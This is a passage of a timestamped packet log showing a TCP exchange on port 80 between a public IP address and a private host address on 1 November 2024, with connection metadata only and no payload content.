Nov 1, 2024 12:34:10.290144920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290165901 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290185928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290190935 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290193081 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290201902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290208101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290214062 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290215969 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290235996 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290262938 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290292978 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290298939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290311098 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290323973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290333033 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290335894 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290348053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290358067 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290359974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290369034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290383101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290383101 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290390968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290402889 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290405989 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290414095 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290422916 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290426970 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290433884 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290446043 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290452003 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290456057 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290465117 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290467024 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290478945 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290484905 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290489912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290498018 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290510893 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290520906 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290525913 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290534019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290540934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290551901 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290556908 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290558100 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290591002 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290607929 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290616035 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290621996 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290633917 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290640116 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290652990 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290657043 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290664911 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290704012 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290716887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290731907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290738106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290745020 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290760040 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290779114 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290803909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290811062 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290823936 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290831089 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290837049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290848970 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290873051 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290880919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290885925 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290898085 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290925980 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290944099 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.290962934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290970087 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.290977001 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291011095 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291086912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291095018 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291105986 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291138887 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291146994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291172028 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291182995 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291189909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291198969 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291214943 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291217089 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291222095 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291235924 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291241884 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291256905 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291280985 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291335106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291342974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291348934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291354895 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291363001 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291368961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291378975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291379929 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291385889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291392088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291398048 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291410923 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291415930 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291416883 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291426897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291434050 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291439056 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291446924 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291460991 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291481972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291487932 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291488886 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291498899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291537046 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291549921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291565895 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291574001 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291585922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291593075 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291615009 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291649103 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291682005 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291690111 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291702032 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291707993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291714907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291733027 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291732073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291749954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291758060 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291785955 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291814089 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291816950 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291825056 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291834116 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291842937 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291850090 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291862965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291867018 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291898966 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.291956902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291965008 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291970968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291975975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291981936 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291989088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.291995049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292001009 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292006016 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292013884 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292025089 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292026043 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292067051 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292067051 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292102098 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292121887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292129993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292135954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292141914 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292148113 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292164087 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292166948 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292167902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292181969 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292186022 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292191029 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292202950 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292210102 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292212009 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292217970 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292226076 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292232037 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292238951 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292246103 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292273998 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292289972 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292403936 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292411089 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292423964 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292432070 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292444944 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292453051 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292455912 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292460918 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292480946 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292498112 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292545080 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292553902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292561054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292591095 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292615891 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292650938 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292658091 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292670965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292678118 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292689085 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292697906 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292733908 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292849064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292892933 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292902946 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292912006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292920113 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.292941093 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.292958021 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293009996 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293016911 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293024063 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293054104 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293067932 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293087006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293093920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293107033 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293113947 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293126106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293133020 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293149948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293155909 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293157101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293165922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293184996 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293217897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293247938 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293255091 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293267965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293273926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293296099 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293303013 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293320894 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293327093 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293477058 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293484926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293498039 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293533087 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293550968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293557882 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293560982 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293565989 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293574095 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293586969 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293592930 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293632984 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293773890 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293781996 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293787956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293822050 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293853045 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293859959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293872118 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293879032 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293885946 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.293901920 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.293921947 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.294848919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.294856071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.294867992 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.294920921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.294974089 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.294981956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.294995070 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295001984 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295008898 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295031071 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295054913 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295059919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295078039 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295098066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295105934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295113087 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295119047 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295125961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295131922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295144081 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295144081 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295161009 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295181990 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295206070 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295255899 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295277119 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295355082 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295357943 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295361996 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295370102 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295408964 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295409918 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295416117 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295428991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295434952 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295440912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295460939 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295475006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295480967 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295480967 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295489073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295494080 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295517921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295540094 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295557022 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295564890 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295576096 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.295605898 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.295625925 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296168089 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296205044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296212912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296221972 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296252966 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296283960 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296292067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296303988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296309948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296334982 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296365023 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296382904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296389103 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296400070 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296406984 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296421051 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296427011 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296431065 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296433926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296442032 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296447992 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296451092 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296453953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296477079 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296495914 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296602011 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296608925 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296619892 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296655893 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.296753883 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296761036 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296768904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.296802998 CET	49972	80	192.168.2.7	185.215.113.16
